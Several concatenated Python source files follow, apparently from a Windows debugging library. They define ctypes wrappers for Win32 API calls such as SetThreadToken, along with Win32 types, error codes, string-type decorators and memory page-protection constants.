3261 # BOOL WINAPI EnumDependentServices(
3262 # _In_ SC_HANDLE hService,
3263 # _In_ DWORD dwServiceState,
3264 # _Out_opt_ LPENUM_SERVICE_STATUS lpServices,
3265 # _In_ DWORD cbBufSize,
3266 # _Out_ LPDWORD pcbBytesNeeded,
3267 # _Out_ LPDWORD lpServicesReturned
3268 # );
3269
3270 # TO DO
3271
3272
3273 # BOOL SetThreadToken(
3274 # PHANDLE Thread,
3275 # HANDLE Token
3276 # );
3277
3278 def SetThreadToken(token_handle, thread_handle = None):
3279 _SetThreadToken = windll.advapi32.SetThreadToken
3280 _SetThreadToken.argtypes = [PHANDLE , HANDLE]
3281 _SetThreadToken.restype = bool
3282 _SetThreadToken.errcheck = RaiseIfZero
3283
3284 _SetThreadToken(thread_handle, token_handle)
3285
3286 #==============================================================================
3287 # This calculates the list of exported symbols.
3288 _all = set(vars().keys()).difference(_all)
3289 __all__ = [_x for _x in _all if not _x.startswith('_')]
3290 __all__.sort()
3291 #==============================================================================
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Common definitions.
32 """
33
34 # TODO
35 # + add TCHAR and related types?
36
37 import ctypes
38 import functools
39
40 #==============================================================================
41 # This is used later on to calculate the list of exported symbols.
42 _all = None
43 _all = set(vars().keys())
44 #==============================================================================
45
46 # Cygwin compatibility.
47 try:
48 WindowsError
49 except NameError:
50 _gle = None
51 class WindowsError(OSError):
52 def __init__(self, *args, **kwargs):
53 OSError.__init__(self, *args, **kwargs)
54 global _gle
55 if _gle is None:
56 from kernel32 import GetLastError as _gle
57 self.winerror = _gle()
58
59 from os import getenv as _real_getenv
60 def getenv(key, default=None):
61 value = _real_getenv(key, None)
62 if value is None:
63 value = _real_getenv(key.upper(), default)
64 return value
65
66 #------------------------------------------------------------------------------
67
68 # Some stuff from ctypes we'll be using very frequently.
69 addressof = ctypes.addressof
70 sizeof = ctypes.sizeof
71 SIZEOF = ctypes.sizeof
72 POINTER = ctypes.POINTER
73 WINFUNCTYPE = ctypes.WINFUNCTYPE
74 windll = ctypes.windll
75
76 # Automatically disable padding of structs and unions on 32 bits.
77 class Structure(ctypes.Structure):
78 if sizeof(ctypes.c_void_p) == 4:
79 _pack_ = 1
80 class Union(ctypes.Union):
81 if sizeof(ctypes.c_void_p) == 4:
82 _pack_ = 1
83
84 # The IronPython implementation of byref() was giving some problems,
85 # so it's best to replace it with the slower pointer() function.
86 try:
87 ctypes.c_void_p(ctypes.byref(ctypes.c_char())) # this fails in IronPython
88 byref = ctypes.byref
89 except TypeError:
90 byref = ctypes.pointer
91
92 # XXX DEBUG
93 # The following code can be enabled to make the Win32 API wrappers log to
94 # standard output the dll and function names, the parameter values and the
95 # return value for each call.
96
97 ##WIN32_VERBOSE_MODE = True
98 WIN32_VERBOSE_MODE = False
99
100 if WIN32_VERBOSE_MODE:
101
102 class WinDllHook(object):
103 def __getattr__(self, name):
104 if name.startswith('_'):
105 return object.__getattr__(self, name)
106 return WinFuncHook(name)
107
108 class WinFuncHook(object):
109 def __init__(self, name):
110 self.__name = name
111
112 def __getattr__(self, name):
113 if name.startswith('_'):
114 return object.__getattr__(self, name)
115 return WinCallHook(self.__name, name)
116
117 class WinCallHook(object):
118 def __init__(self, dllname, funcname):
119 self.__dllname = dllname
120 self.__funcname = funcname
121 self.__func = getattr(getattr(ctypes.windll, dllname), funcname)
122
123 def __copy_attribute(self, attribute):
124 try:
125 value = getattr(self, attribute)
126 setattr(self.__func, attribute, value)
127 except AttributeError:
128 try:
129 delattr(self.__func, attribute)
130 except AttributeError:
131 pass
132
133 def __call__(self, *argv):
134 self.__copy_attribute('argtypes')
135 self.__copy_attribute('restype')
136 self.__copy_attribute('errcheck')
137 print("-"*10)
138 print("%s ! %s %r" % (self.__dllname, self.__funcname, argv))
139 retval = self.__func(*argv)
140 print("== %r" % (retval,))
141 return retval
142
143 windll = WinDllHook()
144
145 #------------------------------------------------------------------------------
146
147 def RaiseIfZero(result, func = None, arguments = ()):
148 """
149 Error checking for most Win32 API calls.
150
151 The function is assumed to return an integer, which is C{0} on error.
152 In that case the C{WindowsError} exception is raised.
153 """
154 if not result:
155 raise ctypes.WinError()
156 return result
157
158 def RaiseIfNotZero(result, func = None, arguments = ()):
159 """
160 Error checking for some odd Win32 API calls.
161
162 The function is assumed to return an integer, which is zero on success.
163 If the return value is nonzero the C{WindowsError} exception is raised.
164
165 This is mostly useful for free() like functions, where the return value is
166 the pointer to the memory block on failure or a C{NULL} pointer on success.
167 """
168 if result:
169 raise ctypes.WinError()
170 return result
171
172 def RaiseIfNotErrorSuccess(result, func = None, arguments = ()):
173 """
174 Error checking for Win32 Registry API calls.
175
176 The function is assumed to return a Win32 error code. If the code is not
177 C{ERROR_SUCCESS} then a C{WindowsError} exception is raised.
178 """
179 if result != ERROR_SUCCESS:
180 raise ctypes.WinError(result)
181 return result
182
183 class GuessStringType(object):
184 """
185 Decorator that guesses the correct version (A or W) to call
186 based on the types of the strings passed as parameters.
187
188 Calls the B{ANSI} version if the only string types are ANSI.
189
190 Calls the B{Unicode} version if Unicode or mixed string types are passed.
191
192 The default if no string arguments are passed depends on the value of the
193 L{t_default} class variable.
194
195 @type fn_ansi: function
196 @ivar fn_ansi: ANSI version of the API function to call.
197 @type fn_unicode: function
198 @ivar fn_unicode: Unicode (wide) version of the API function to call.
199
200 @type t_default: type
201 @cvar t_default: Default string type to use.
202 Possible values are:
203 - type('') for ANSI
204 - type(u'') for Unicode
205 """
206
207 # ANSI and Unicode types
208 t_ansi = type('')
209 t_unicode = type(u'')
210
211 # Default is ANSI for Python 2.x
212 t_default = t_ansi
213
214 def __init__(self, fn_ansi, fn_unicode):
215 """
216 @type fn_ansi: function
217 @param fn_ansi: ANSI version of the API function to call.
218 @type fn_unicode: function
219 @param fn_unicode: Unicode (wide) version of the API function to call.
220 """
221 self.fn_ansi = fn_ansi
222 self.fn_unicode = fn_unicode
223
224 # Copy the wrapped function attributes.
225 try:
226 self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W
227 except AttributeError:
228 pass
229 try:
230 self.__module__ = self.fn_ansi.__module__
231 except AttributeError:
232 pass
233 try:
234 self.__doc__ = self.fn_ansi.__doc__
235 except AttributeError:
236 pass
237
238 def __call__(self, *argv, **argd):
239
240 # Shortcut to self.t_ansi
241 t_ansi = self.t_ansi
242
243 # Get the types of all arguments for the function
244 v_types = [ type(item) for item in argv ]
245 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
246
247 # Get the appropriate function for the default type
248 if self.t_default == t_ansi:
249 fn = self.fn_ansi
250 else:
251 fn = self.fn_unicode
252
253 # If at least one argument is a Unicode string...
254 if self.t_unicode in v_types:
255
256 # If al least one argument is an ANSI string,
257 # convert all ANSI strings to Unicode
258 if t_ansi in v_types:
259 argv = list(argv)
260 for index in range(len(argv)):
261 if v_types[index] == t_ansi:
262 argv[index] = argv[index]
263 for (key, value) in argd.items():
264 if type(value) == t_ansi:
265 argd[key] = value
266
267 # Use the W version
268 fn = self.fn_unicode
269
270 # If at least one argument is an ANSI string,
271 # but there are no Unicode strings...
272 elif t_ansi in v_types:
273
274 # Use the A version
275 fn = self.fn_ansi
276
277 # Call the function and return the result
278 return fn(*argv, **argd)
279
280 class DefaultStringType(object):
281 """
282 Decorator that uses the default version (A or W) to call
283 based on the configuration of the L{GuessStringType} decorator.
284
285 @see: L{GuessStringType.t_default}
286
287 @type fn_ansi: function
288 @ivar fn_ansi: ANSI version of the API function to call.
289 @type fn_unicode: function
290 @ivar fn_unicode: Unicode (wide) version of the API function to call.
291 """
292
293 def __init__(self, fn_ansi, fn_unicode):
294 """
295 @type fn_ansi: function
296 @param fn_ansi: ANSI version of the API function to call.
297 @type fn_unicode: function
298 @param fn_unicode: Unicode (wide) version of the API function to call.
299 """
300 self.fn_ansi = fn_ansi
301 self.fn_unicode = fn_unicode
302
303 # Copy the wrapped function attributes.
304 try:
305 self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W
306 except AttributeError:
307 pass
308 try:
309 self.__module__ = self.fn_ansi.__module__
310 except AttributeError:
311 pass
312 try:
313 self.__doc__ = self.fn_ansi.__doc__
314 except AttributeError:
315 pass
316
317 def __call__(self, *argv, **argd):
318
319 # Get the appropriate function based on the default.
320 if GuessStringType.t_default == GuessStringType.t_ansi:
321 fn = self.fn_ansi
322 else:
323 fn = self.fn_unicode
324
325 # Call the function and return the result
326 return fn(*argv, **argd)
327
328 def MakeANSIVersion(fn):
329 """
330 Decorator that generates an ANSI version of a Unicode (wide) only API call.
331
332 @type fn: callable
333 @param fn: Unicode (wide) version of the API function to call.
334 """
335 @functools.wraps(fn)
336 def wrapper(*argv, **argd):
337 t_ansi = GuessStringType.t_ansi
338 t_unicode = GuessStringType.t_unicode
339 v_types = [ type(item) for item in argv ]
340 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
341 if t_ansi in v_types:
342 argv = list(argv)
343 for index in range(len(argv)):
344 if v_types[index] == t_ansi:
345 argv[index] = t_unicode(argv[index])
346 for key, value in argd.items():
347 if type(value) == t_ansi:
348 argd[key] = t_unicode(value)
349 return fn(*argv, **argd)
350 return wrapper
351
352 def MakeWideVersion(fn):
353 """
354 Decorator that generates a Unicode (wide) version of an ANSI only API call.
355
356 @type fn: callable
357 @param fn: ANSI version of the API function to call.
358 """
359 @functools.wraps(fn)
360 def wrapper(*argv, **argd):
361 t_ansi = GuessStringType.t_ansi
362 t_unicode = GuessStringType.t_unicode
363 v_types = [ type(item) for item in argv ]
364 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
365 if t_unicode in v_types:
366 argv = list(argv)
367 for index in range(len(argv)):
368 if v_types[index] == t_unicode:
369 argv[index] = t_ansi(argv[index])
370 for key, value in argd.items():
371 if type(value) == t_unicode:
372 argd[key] = t_ansi(value)
373 return fn(*argv, **argd)
374 return wrapper
375
376 #--- Types --------------------------------------------------------------------
377 # http://msdn.microsoft.com/en-us/library/aa383751(v=vs.85).aspx
378
379 # Map of basic C types to Win32 types
380 LPVOID = ctypes.c_void_p
381 CHAR = ctypes.c_char
382 WCHAR = ctypes.c_wchar
383 BYTE = ctypes.c_ubyte
384 SBYTE = ctypes.c_byte
385 WORD = ctypes.c_uint16
386 SWORD = ctypes.c_int16
387 DWORD = ctypes.c_uint32
388 SDWORD = ctypes.c_int32
389 QWORD = ctypes.c_uint64
390 SQWORD = ctypes.c_int64
391 SHORT = ctypes.c_int16
392 USHORT = ctypes.c_uint16
393 INT = ctypes.c_int32
394 UINT = ctypes.c_uint32
395 LONG = ctypes.c_int32
396 ULONG = ctypes.c_uint32
397 LONGLONG = ctypes.c_int64 # c_longlong
398 ULONGLONG = ctypes.c_uint64 # c_ulonglong
399 LPSTR = ctypes.c_char_p
400 LPWSTR = ctypes.c_wchar_p
401 INT8 = ctypes.c_int8
402 INT16 = ctypes.c_int16
403 INT32 = ctypes.c_int32
404 INT64 = ctypes.c_int64
405 UINT8 = ctypes.c_uint8
406 UINT16 = ctypes.c_uint16
407 UINT32 = ctypes.c_uint32
408 UINT64 = ctypes.c_uint64
409 LONG32 = ctypes.c_int32
410 LONG64 = ctypes.c_int64
411 ULONG32 = ctypes.c_uint32
412 ULONG64 = ctypes.c_uint64
413 DWORD32 = ctypes.c_uint32
414 DWORD64 = ctypes.c_uint64
415 BOOL = ctypes.c_int32
416 FLOAT = ctypes.c_float # not sure on cygwin
417 DOUBLE = ctypes.c_double # not sure on cygwin
418
419 # Map size_t to SIZE_T
420 try:
421 SIZE_T = ctypes.c_size_t
422 SSIZE_T = ctypes.c_ssize_t
423 except AttributeError:
424 # Size of a pointer
425 SIZE_T = {1:BYTE, 2:WORD, 4:DWORD, 8:QWORD}[sizeof(LPVOID)]
426 SSIZE_T = {1:SBYTE, 2:SWORD, 4:SDWORD, 8:SQWORD}[sizeof(LPVOID)]
427 PSIZE_T = POINTER(SIZE_T)
428
429 # Not really pointers but pointer-sized integers
430 DWORD_PTR = SIZE_T
431 ULONG_PTR = SIZE_T
432 LONG_PTR = SIZE_T
433
434 # Other Win32 types, more may be added as needed
435 PVOID = LPVOID
436 PPVOID = POINTER(PVOID)
437 PSTR = LPSTR
438 PWSTR = LPWSTR
439 PCHAR = LPSTR
440 PWCHAR = LPWSTR
441 LPBYTE = POINTER(BYTE)
442 LPSBYTE = POINTER(SBYTE)
443 LPWORD = POINTER(WORD)
444 LPSWORD = POINTER(SWORD)
445 LPDWORD = POINTER(DWORD)
446 LPSDWORD = POINTER(SDWORD)
447 LPULONG = POINTER(ULONG)
448 LPLONG = POINTER(LONG)
449 PDWORD = LPDWORD
450 PDWORD_PTR = POINTER(DWORD_PTR)
451 PULONG = LPULONG
452 PLONG = LPLONG
453 CCHAR = CHAR
454 BOOLEAN = BYTE
455 PBOOL = POINTER(BOOL)
456 LPBOOL = PBOOL
457 TCHAR = CHAR # XXX ANSI by default?
458 UCHAR = BYTE
459 DWORDLONG = ULONGLONG
460 LPDWORD32 = POINTER(DWORD32)
461 LPULONG32 = POINTER(ULONG32)
462 LPDWORD64 = POINTER(DWORD64)
463 LPULONG64 = POINTER(ULONG64)
464 PDWORD32 = LPDWORD32
465 PULONG32 = LPULONG32
466 PDWORD64 = LPDWORD64
467 PULONG64 = LPULONG64
468 ATOM = WORD
469 HANDLE = LPVOID
470 PHANDLE = POINTER(HANDLE)
471 LPHANDLE = PHANDLE
472 HMODULE = HANDLE
473 HINSTANCE = HANDLE
474 HTASK = HANDLE
475 HKEY = HANDLE
476 PHKEY = POINTER(HKEY)
477 HDESK = HANDLE
478 HRSRC = HANDLE
479 HSTR = HANDLE
480 HWINSTA = HANDLE
481 HKL = HANDLE
482 HDWP = HANDLE
483 HFILE = HANDLE
484 HRESULT = LONG
485 HGLOBAL = HANDLE
486 HLOCAL = HANDLE
487 HGDIOBJ = HANDLE
488 HDC = HGDIOBJ
489 HRGN = HGDIOBJ
490 HBITMAP = HGDIOBJ
491 HPALETTE = HGDIOBJ
492 HPEN = HGDIOBJ
493 HBRUSH = HGDIOBJ
494 HMF = HGDIOBJ
495 HEMF = HGDIOBJ
496 HENHMETAFILE = HGDIOBJ
497 HMETAFILE = HGDIOBJ
498 HMETAFILEPICT = HGDIOBJ
499 HWND = HANDLE
500 NTSTATUS = LONG
501 PNTSTATUS = POINTER(NTSTATUS)
502 KAFFINITY = ULONG_PTR
503 RVA = DWORD
504 RVA64 = QWORD
505 WPARAM = DWORD
506 LPARAM = LPVOID
507 LRESULT = LPVOID
508 ACCESS_MASK = DWORD
509 REGSAM = ACCESS_MASK
510 PACCESS_MASK = POINTER(ACCESS_MASK)
511 PREGSAM = POINTER(REGSAM)
512
513 # Since the SID is an opaque structure, let's treat its pointers as void*
514 PSID = PVOID
515
516 # typedef union _LARGE_INTEGER {
517 # struct {
518 # DWORD LowPart;
519 # LONG HighPart;
520 # } ;
521 # struct {
522 # DWORD LowPart;
523 # LONG HighPart;
524 # } u;
525 # LONGLONG QuadPart;
526 # } LARGE_INTEGER,
527 # *PLARGE_INTEGER;
528
529 # XXX TODO
530
531 # typedef struct _FLOAT128 {
532 # __int64 LowPart;
533 # __int64 HighPart;
534 # } FLOAT128;
535 class FLOAT128 (Structure):
536 _fields_ = [
537 ("LowPart", QWORD),
538 ("HighPart", QWORD),
539 ]
540 PFLOAT128 = POINTER(FLOAT128)
541
542 # typedef struct DECLSPEC_ALIGN(16) _M128A {
543 # ULONGLONG Low;
544 # LONGLONG High;
545 # } M128A, *PM128A;
546 class M128A(Structure):
547 _fields_ = [
548 ("Low", ULONGLONG),
549 ("High", LONGLONG),
550 ]
551 PM128A = POINTER(M128A)
552
553 #--- Constants ----------------------------------------------------------------
554
555 NULL = None
556 INFINITE = -1
557 TRUE = 1
558 FALSE = 0
559
560 # http://blogs.msdn.com/oldnewthing/archive/2004/08/26/220873.aspx
561 ANYSIZE_ARRAY = 1
562
563 # Invalid handle value is -1 casted to void pointer.
564 try:
565 INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value #-1 #0xFFFFFFFF
566 except TypeError:
567 if sizeof(ctypes.c_void_p) == 4:
568 INVALID_HANDLE_VALUE = 0xFFFFFFFF
569 elif sizeof(ctypes.c_void_p) == 8:
570 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
571 else:
572 raise
573
574 MAX_MODULE_NAME32 = 255
575 MAX_PATH = 260
576
577 # Error codes
578 # TODO maybe add more error codes?
579 # if they're too many they could be pickled instead,
580 # or at the very least put in a new file
581 ERROR_SUCCESS = 0
582 ERROR_INVALID_FUNCTION = 1
583 ERROR_FILE_NOT_FOUND = 2
584 ERROR_PATH_NOT_FOUND = 3
585 ERROR_ACCESS_DENIED = 5
586 ERROR_INVALID_HANDLE = 6
587 ERROR_NOT_ENOUGH_MEMORY = 8
588 ERROR_INVALID_DRIVE = 15
589 ERROR_NO_MORE_FILES = 18
590 ERROR_BAD_LENGTH = 24
591 ERROR_HANDLE_EOF = 38
592 ERROR_HANDLE_DISK_FULL = 39
593 ERROR_NOT_SUPPORTED = 50
594 ERROR_FILE_EXISTS = 80
595 ERROR_INVALID_PARAMETER = 87
596 ERROR_BUFFER_OVERFLOW = 111
597 ERROR_DISK_FULL = 112
598 ERROR_CALL_NOT_IMPLEMENTED = 120
599 ERROR_SEM_TIMEOUT = 121
600 ERROR_INSUFFICIENT_BUFFER = 122
601 ERROR_INVALID_NAME = 123
602 ERROR_MOD_NOT_FOUND = 126
603 ERROR_PROC_NOT_FOUND = 127
604 ERROR_DIR_NOT_EMPTY = 145
605 ERROR_BAD_THREADID_ADDR = 159
606 ERROR_BAD_ARGUMENTS = 160
607 ERROR_BAD_PATHNAME = 161
608 ERROR_ALREADY_EXISTS = 183
609 ERROR_INVALID_FLAG_NUMBER = 186
610 ERROR_ENVVAR_NOT_FOUND = 203
611 ERROR_FILENAME_EXCED_RANGE = 206
612 ERROR_MORE_DATA = 234
613
614 WAIT_TIMEOUT = 258
615
616 ERROR_NO_MORE_ITEMS = 259
617 ERROR_PARTIAL_COPY = 299
618 ERROR_INVALID_ADDRESS = 487
619 ERROR_THREAD_NOT_IN_PROCESS = 566
620 ERROR_CONTROL_C_EXIT = 572
621 ERROR_UNHANDLED_EXCEPTION = 574
622 ERROR_ASSERTION_FAILURE = 668
623 ERROR_WOW_ASSERTION = 670
624
625 ERROR_DBG_EXCEPTION_NOT_HANDLED = 688
626 ERROR_DBG_REPLY_LATER = 689
627 ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690
628 ERROR_DBG_TERMINATE_THREAD = 691
629 ERROR_DBG_TERMINATE_PROCESS = 692
630 ERROR_DBG_CONTROL_C = 693
631 ERROR_DBG_PRINTEXCEPTION_C = 694
632 ERROR_DBG_RIPEXCEPTION = 695
633 ERROR_DBG_CONTROL_BREAK = 696
634 ERROR_DBG_COMMAND_EXCEPTION = 697
635 ERROR_DBG_EXCEPTION_HANDLED = 766
636 ERROR_DBG_CONTINUE = 767
637
638 ERROR_ELEVATION_REQUIRED = 740
639 ERROR_NOACCESS = 998
640
641 ERROR_CIRCULAR_DEPENDENCY = 1059
642 ERROR_SERVICE_DOES_NOT_EXIST = 1060
643 ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061
644 ERROR_SERVICE_NOT_ACTIVE = 1062
645 ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063
646 ERROR_EXCEPTION_IN_SERVICE = 1064
647 ERROR_DATABASE_DOES_NOT_EXIST = 1065
648 ERROR_SERVICE_SPECIFIC_ERROR = 1066
649 ERROR_PROCESS_ABORTED = 1067
650 ERROR_SERVICE_DEPENDENCY_FAIL = 1068
651 ERROR_SERVICE_LOGON_FAILED = 1069
652 ERROR_SERVICE_START_HANG = 1070
653 ERROR_INVALID_SERVICE_LOCK = 1071
654 ERROR_SERVICE_MARKED_FOR_DELETE = 1072
655 ERROR_SERVICE_EXISTS = 1073
656 ERROR_ALREADY_RUNNING_LKG = 1074
657 ERROR_SERVICE_DEPENDENCY_DELETED = 1075
658 ERROR_BOOT_ALREADY_ACCEPTED = 1076
659 ERROR_SERVICE_NEVER_STARTED = 1077
660 ERROR_DUPLICATE_SERVICE_NAME = 1078
661 ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079
662 ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080
663 ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081
664 ERROR_NO_RECOVERY_PROGRAM = 1082
665 ERROR_SERVICE_NOT_IN_EXE = 1083
666 ERROR_NOT_SAFEBOOT_SERVICE = 1084
667
668 ERROR_DEBUGGER_INACTIVE = 1284
669
670 ERROR_PRIVILEGE_NOT_HELD = 1314
671
672 ERROR_NONE_MAPPED = 1332
673
674 RPC_S_SERVER_UNAVAILABLE = 1722
675
676 # Standard access rights
677 DELETE = 0x00010000
678 READ_CONTROL = 0x00020000
679 WRITE_DAC = 0x00040000
680 WRITE_OWNER = 0x00080000
681 SYNCHRONIZE = 0x00100000
682 STANDARD_RIGHTS_REQUIRED = 0x000F0000
683 STANDARD_RIGHTS_READ = READ_CONTROL
684 STANDARD_RIGHTS_WRITE = READ_CONTROL
685 STANDARD_RIGHTS_EXECUTE = READ_CONTROL
686 STANDARD_RIGHTS_ALL = 0x001F0000
687 SPECIFIC_RIGHTS_ALL = 0x0000FFFF
688
689 #--- Structures ---------------------------------------------------------------
690
691 # typedef struct _LSA_UNICODE_STRING {
692 # USHORT Length;
693 # USHORT MaximumLength;
694 # PWSTR Buffer;
695 # } LSA_UNICODE_STRING,
696 # *PLSA_UNICODE_STRING,
697 # UNICODE_STRING,
698 # *PUNICODE_STRING;
699 class UNICODE_STRING(Structure):
700 _fields_ = [
701 ("Length", USHORT),
702 ("MaximumLength", USHORT),
703 ("Buffer", PVOID),
704 ]
705
706 # From MSDN:
707 #
708 # typedef struct _GUID {
709 # DWORD Data1;
710 # WORD Data2;
711 # WORD Data3;
712 # BYTE Data4[8];
713 # } GUID;
714 class GUID(Structure):
715 _fields_ = [
716 ("Data1", DWORD),
717 ("Data2", WORD),
718 ("Data3", WORD),
719 ("Data4", BYTE * 8),
720 ]
721
722 # From MSDN:
723 #
724 # typedef struct _LIST_ENTRY {
725 # struct _LIST_ENTRY *Flink;
726 # struct _LIST_ENTRY *Blink;
727 # } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
728 class LIST_ENTRY(Structure):
729 _fields_ = [
730 ("Flink", PVOID), # POINTER(LIST_ENTRY)
731 ("Blink", PVOID), # POINTER(LIST_ENTRY)
732 ]
733
734 #==============================================================================
735 # This calculates the list of exported symbols.
736 _all = set(vars().keys()).difference(_all)
737 ##__all__ = [_x for _x in _all if not _x.startswith('_')]
738 ##__all__.sort()
739 #==============================================================================
0 from .version import *
1 import ctypes
2
3 def get_file_version_info(filename):
4
5 # Get the file version info structure.
6 pBlock = GetFileVersionInfoW(filename)
7 pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\")
8 if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO):
9 raise ctypes.WinError(ERROR_BAD_LENGTH)
10 pVersionInfo = ctypes.cast(pBuffer,
11 ctypes.POINTER(VS_FIXEDFILEINFO))
12 VersionInfo = pVersionInfo.contents
13 if VersionInfo.dwSignature != 0xFEEF04BD:
14 raise ctypes.WinError(ERROR_BAD_ARGUMENTS)
15
16 FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS
17 return FileDate
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30
31 from .defines import *
32
33 PAGE_NOACCESS = 0x01
34 PAGE_READONLY = 0x02
35 PAGE_READWRITE = 0x04
36 PAGE_WRITECOPY = 0x08
37 PAGE_EXECUTE = 0x10
38 PAGE_EXECUTE_READ = 0x20
39 PAGE_EXECUTE_READWRITE = 0x40
40 PAGE_EXECUTE_WRITECOPY = 0x80
41 PAGE_GUARD = 0x100
42 PAGE_NOCACHE = 0x200
43 PAGE_WRITECOMBINE = 0x400
44 MEM_COMMIT = 0x1000
45 MEM_RESERVE = 0x2000
46 MEM_DECOMMIT = 0x4000
47 MEM_RELEASE = 0x8000
48 MEM_FREE = 0x10000
49 MEM_PRIVATE = 0x20000
50 MEM_MAPPED = 0x40000
51 MEM_RESET = 0x80000
52 MEM_TOP_DOWN = 0x100000
53 MEM_WRITE_WATCH = 0x200000
54 MEM_PHYSICAL = 0x400000
55 MEM_LARGE_PAGES = 0x20000000
56 MEM_4MB_PAGES = 0x80000000
57 SEC_FILE = 0x800000
58 SEC_IMAGE = 0x1000000
59 SEC_RESERVE = 0x4000000
60 SEC_COMMIT = 0x8000000
61 SEC_NOCACHE = 0x10000000
62 SEC_LARGE_PAGES = 0x80000000
63 MEM_IMAGE = SEC_IMAGE
64 WRITE_WATCH_FLAG_RESET = 0x01
65 FILE_MAP_ALL_ACCESS = 0xF001F
66
67 class UserModeHandle (HANDLE):
68 """
69 Base class for non-kernel handles. Generally this means they are closed
70 by special Win32 API functions instead of CloseHandle() and some standard
71 operations (synchronizing, duplicating, inheritance) are not supported.
72 @type _TYPE: C type
73 @cvar _TYPE: C type to translate this handle to.
74 Subclasses should override this.
75 Defaults to L{HANDLE}.
76 """
77
78 # Subclasses should override this.
79 _TYPE = HANDLE
80
81 # This method must be implemented by subclasses.
82 def _close(self):
83 raise NotImplementedError()
84
85 # Translation to C type.
86 @property
87 def _as_parameter_(self):
88 return self._TYPE(self.value)
89
90 # Translation to C type.
91 @staticmethod
92 def from_param(value):
93 return self._TYPE(self.value)
94
95 # Operation not supported.
96 @property
97 def inherit(self):
98 return False
99
100 # Operation not supported.
101 @property
102 def protectFromClose(self):
103 return False
104
105 # Operation not supported.
106 def dup(self):
107 raise NotImplementedError()
108
109 # Operation not supported.
110 def wait(self, dwMilliseconds = None):
111 raise NotImplementedError()
112
113 # Don't psyco-optimize this class because it needs to be serialized.
114 class MemoryBasicInformation(object):
115 """
116 Memory information object returned by L{VirtualQueryEx}.
117 """
118
119 READABLE = (
120 PAGE_EXECUTE_READ |
121 PAGE_EXECUTE_READWRITE |
122 PAGE_EXECUTE_WRITECOPY |
123 PAGE_READONLY |
124 PAGE_READWRITE |
125 PAGE_WRITECOPY
126 )
127
128 WRITEABLE = (
129 PAGE_EXECUTE_READWRITE |
130 PAGE_EXECUTE_WRITECOPY |
131 PAGE_READWRITE |
132 PAGE_WRITECOPY
133 )
134
